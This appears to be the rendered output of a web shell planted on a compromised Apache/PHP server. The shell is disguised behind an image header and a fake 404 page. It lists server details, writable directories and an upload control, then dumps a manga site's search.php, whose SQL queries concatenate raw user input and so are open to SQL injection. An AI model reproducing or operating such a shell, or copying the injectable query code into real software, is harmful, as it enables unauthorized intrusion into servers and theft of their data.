����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/api-truyentranh/includes/get/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/api-truyentranh/includes/get/search.php
<?php
global $DB, $func, $CORE, $INFO, $memcache;
$f = $CORE->input['f'] ?? array();
$where = " AND truyen_active_status='Active' AND truyen_sochuong is not NULL ";
$order_by = ' time_post DESC ';
$txt_card_title = 'Lastest manga updates';
$genres_name = $param_search = '';
foreach($f as $key=>$val){
    if(isset($val) and trim($val)!='') {
        if ($key == 'status') {
            if ($val == 'all') {
                $txt_card_title = 'All ';
            }
            if ($val == 'complete') {
                $where .= " AND truyen_status='Complete' ";
                $txt_card_title = 'Complete ';
            }
            if ($val == 'in-process') {
                $where .= " AND truyen_status='In process' ";
                $txt_card_title = 'In process ';
            }
            if ($val == 'pause') {
                $where .= " AND truyen_status='Pause' ";
                $txt_card_title = 'Pause ';
            }
        }
        if($key=='genres'){
            $val = trim($val);
            $where .= " AND truyen_ftheloai LIKE '%".$val."@%' ";
            $row_menu = $DB->fetch_row($DB->query("SELECT menus_name, menus_des FROM tb_menus  WHERE menus_fname='$val' "));
            $genres_name = $row_menu['menus_name'];
            if($row_menu['menus_des']!=''){
                $genres_name .= ' ('.$row_menu['menus_des'].')';
            }
            $txt_card_title = $row_menu['menus_name'];
        }
        if($key=='author'){
            $val = trim($val);
            $where .= " AND truyen_tacgia LIKE '%".$val."@%' ";
            $row_author = $DB->fetch_row($DB->query("SELECT author_name FROM tb_author WHERE author_fname='$val' "));
            $txt_card_title = 'Author '.$row_author['author_name'];
        }
        if ($key == 'keyword') {
            $val = trim($val);
            $where .= " AND (truyen_name LIKE '%" . $val . "%' OR truyen_fname LIKE '%" . $val . "%' OR truyen_othername LIKE '%" . $val . "%') ";
            $txt_card_title .= ' - Keyword: '.$val;
        }
        if ($key == 'sortby') {
            if ($val == 'lastest-chap') {
                $order_by = " time_update DESC ";
                $txt_card_title .= ' lastest chapter update';
            }
            if ($val == 'hot') {
                $order_by = " truyen_hot DESC,time_post DESC ";
                $txt_card_title .= ' hot manga update';
            }
            if ($val == 'lastest-manga') {
                $order_by = " time_post DESC ";
                $txt_card_title .= ' lastest manga update';
            }
            if ($val == 'top-all') {
                $order_by = " truyen_hit DESC,truyen_hitthang DESC,truyen_hittuan DESC,time_post DESC ";
                $txt_card_title .= 'manga with the most views updated';
            }
            if ($val == 'top-manga') {
                $order_by = " truyen_hit DESC,time_post DESC ";
                $txt_card_title .= 'manga with the most views';
            }
            if ($val == 'top-month') {
                $order_by = " truyen_hitthang DESC,time_post DESC ";
                $txt_card_title .= 'manga with the most views in month';
            }
            if ($val == 'top-week') {
                $order_by = " truyen_hittuan DESC,time_post DESC ";
                $txt_card_title .= 'manga with the most views in week';
            }
            if ($val == 'top-day') {
                $order_by = " truyen_hitngay DESC,time_post DESC ";
                $txt_card_title .= 'manga with the most views in day';
            }
            if ($val == 'follow') {
                $order_by = " truyen_theodoi DESC,time_post DESC ";
                $txt_card_title .= 'manga with the most follow';
            }
            if ($val == 'comment') {
                $order_by = " truyen_hitcomment DESC,time_post DESC ";
                $txt_card_title .= 'manga with the most comment';
            }
            if ($val == 'num-chap') {
                $order_by = " truyen_sochuong DESC,time_post DESC ";
                $txt_card_title .= 'manga with the most num. chapter';
            }
        }
        $param_search .= 'f[' . $key . ']=' . trim($val) . '&';
    }
}

$pageNum = isset($_GET['pageNum']) ? intval($_GET['pageNum']) : 1;
$pageSize = 36;
$from = (($pageNum * $pageSize) - $pageSize);
$key_total_list_search = md5("SELECT count(*) as total FROM tb_truyen WHERE 1 ".$where);
if($memcache->get($key_total_list_search)){
    $total = $memcache->get($key_total_list_search);
}else {
    $t = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_truyen WHERE 1 " . $where));
    $total = $t['total'];
    $memcache->set($key_total_list_search, $total, MEMCACHE_COMPRESSED, 600);
}
$totalPage = ceil($total / $pageSize);
$key_list_search = md5("SELECT * FROM tb_truyen WHERE 1 ".$where." ORDER BY ".$order_by." LIMIT $from, $pageSize");

// Initialize response array
$response = [
    'title' => $txt_card_title,
    'pagination' => [
        'current_page' => $pageNum,
        'total_pages' => $totalPage,
        'total_items' => $total,
        'page_size' => $pageSize
    ],
    'mangas' => []
];

if($memcache->get($key_list_search)){
    // If we have cached data, we need to rebuild the JSON structure
    // Since the cached data is HTML, we'll skip the cache and query the database directly
    $query = $DB->query("SELECT * FROM tb_truyen WHERE 1 " . $where . " ORDER BY " . $order_by . " LIMIT $from, $pageSize");
    while ($row = $DB->fetch_row($query)) {
        $truyen_othername = ($row['truyen_othername'] != '') ? $row['truyen_othername'] : 'Updating';

        // Process latest chapter info
        $latest_chapter_status = 'normal';
        if ((time() - strtotime($row['truyen_chuong_moinhat_time'])) < 86400) {
            $latest_chapter_status = 'new';
        }
        if(!empty($row['truyen_chuong_moinhat_lock']) && strtotime($row['truyen_chuong_moinhat_lock']) > time()){
            $latest_chapter_status = 'premium';
        }

        // Process second latest chapter info
        $second_latest_chapter_status = 'normal';
        if ((time() - strtotime($row['truyen_chuong_moinhi_time'])) < 86400) {
            $second_latest_chapter_status = 'new';
        }
        if(!empty($row['truyen_chuong_moinhi_lock']) && strtotime($row['truyen_chuong_moinhi_lock']) > time()){
            $second_latest_chapter_status = 'premium';
        }

        // Build manga data
        $manga = [
            'id' => $row['truyen_id'],
            'name' => $row['truyen_name'],
            'other_name' => $truyen_othername,
            'slug' => $row['truyen_fname'],
            'thumbnail' => $INFO['path_image'].'/'.$row['truyen_thumb'],
            'url' => '/' . $row['truyen_fname'] . '-' . $row['truyen_id'] . '/',
            'stats' => [
                'views' => intval($row['truyen_hit']),
                'comments' => intval($row['truyen_hitcomment']),
                'follows' => intval($row['truyen_theodoi'])
            ],
            'latest_chapters' => [
                [
                    'id' => $row['truyen_chuong_moinhat_id'],
                    'name' => $row['truyen_chuong_moinhat_name'],
                    'slug' => $row['truyen_chuong_moinhat_fname'],
                    'url' => '/' . $row['truyen_fname'] . '-' . $row['truyen_id'] . '/' . $row['truyen_chuong_moinhat_fname'] . '-' . $row['truyen_chuong_moinhat_id'] . '/',
                    'time' => $row['truyen_chuong_moinhat_time'],
                    'status' => $latest_chapter_status
                ],
                [
                    'id' => $row['truyen_chuong_moinhi_id'],
                    'name' => $row['truyen_chuong_moinhi_name'],
                    'slug' => $row['truyen_chuong_moinhi_fname'],
                    'url' => '/' . $row['truyen_fname'] . '-' . $row['truyen_id'] . '/' . $row['truyen_chuong_moinhi_fname'] . '-' . $row['truyen_chuong_moinhi_id'] . '/',
                    'time' => $row['truyen_chuong_moinhi_time'],
                    'status' => $second_latest_chapter_status
                ]
            ]
        ];

        $response['mangas'][] = $manga;
    }
} else {
    $query = $DB->query("SELECT * FROM tb_truyen WHERE 1 " . $where . " ORDER BY " . $order_by . " LIMIT $from, $pageSize");
    $manga_list = [];

    while ($row = $DB->fetch_row($query)) {
        $truyen_othername = ($row['truyen_othername'] != '') ? $row['truyen_othername'] : 'Updating';

        // Process latest chapter info
        $latest_chapter_status = 'normal';
        if ((time() - strtotime($row['truyen_chuong_moinhat_time'])) < 86400) {
            $latest_chapter_status = 'new';
        }
        if(!empty($row['truyen_chuong_moinhat_lock']) && strtotime($row['truyen_chuong_moinhat_lock']) > time()){
            $latest_chapter_status = 'premium';
        }

        // Process second latest chapter info
        $second_latest_chapter_status = 'normal';
        if ((time() - strtotime($row['truyen_chuong_moinhi_time'])) < 86400) {
            $second_latest_chapter_status = 'new';
        }
        if(!empty($row['truyen_chuong_moinhi_lock']) && strtotime($row['truyen_chuong_moinhi_lock']) > time()){
            $second_latest_chapter_status = 'premium';
        }

        // Build manga data
        $manga = [
            'id' => $row['truyen_id'],
            'name' => $row['truyen_name'],
            'other_name' => $truyen_othername,
            'slug' => $row['truyen_fname'],
            'thumbnail' => $INFO['path_image'].'/'.$row['truyen_thumb'],
            'url' => '/' . $row['truyen_fname'] . '-' . $row['truyen_id'] . '/',
            'stats' => [
                'views' => intval($row['truyen_hit']),
                'comments' => intval($row['truyen_hitcomment']),
                'follows' => intval($row['truyen_theodoi'])
            ],
            'latest_chapters' => [
                [
                    'id' => $row['truyen_chuong_moinhat_id'],
                    'name' => $row['truyen_chuong_moinhat_name'],
                    'slug' => $row['truyen_chuong_moinhat_fname'],
                    'url' => '/' . $row['truyen_fname'] . '-' . $row['truyen_id'] . '/' . $row['truyen_chuong_moinhat_fname'] . '-' . $row['truyen_chuong_moinhat_id'] . '/',
                    'time' => $row['truyen_chuong_moinhat_time'],
                    'status' => $latest_chapter_status
                ],
                [
                    'id' => $row['truyen_chuong_moinhi_id'],
                    'name' => $row['truyen_chuong_moinhi_name'],
                    'slug' => $row['truyen_chuong_moinhi_fname'],
                    'url' => '/' . $row['truyen_fname'] . '-' . $row['truyen_id'] . '/' . $row['truyen_chuong_moinhi_fname'] . '-' . $row['truyen_chuong_moinhi_id'] . '/',
                    'time' => $row['truyen_chuong_moinhi_time'],
                    'status' => $second_latest_chapter_status
                ]
            ]
        ];

        $response['mangas'][] = $manga;
    }

    // Store the JSON data in cache
    $memcache->set($key_list_search, json_encode($response), MEMCACHE_COMPRESSED, 600);
}
// Add pagination links
$response['pagination']['next_page'] = ($pageNum < $totalPage) ? $pageNum + 1 : null;
$response['pagination']['prev_page'] = ($pageNum > 1) ? $pageNum - 1 : null;
$response['pagination']['url_params'] = $param_search;
// Output JSON response
echo jsonutf($response);
exit;
?>

ZeroDay Forums Mini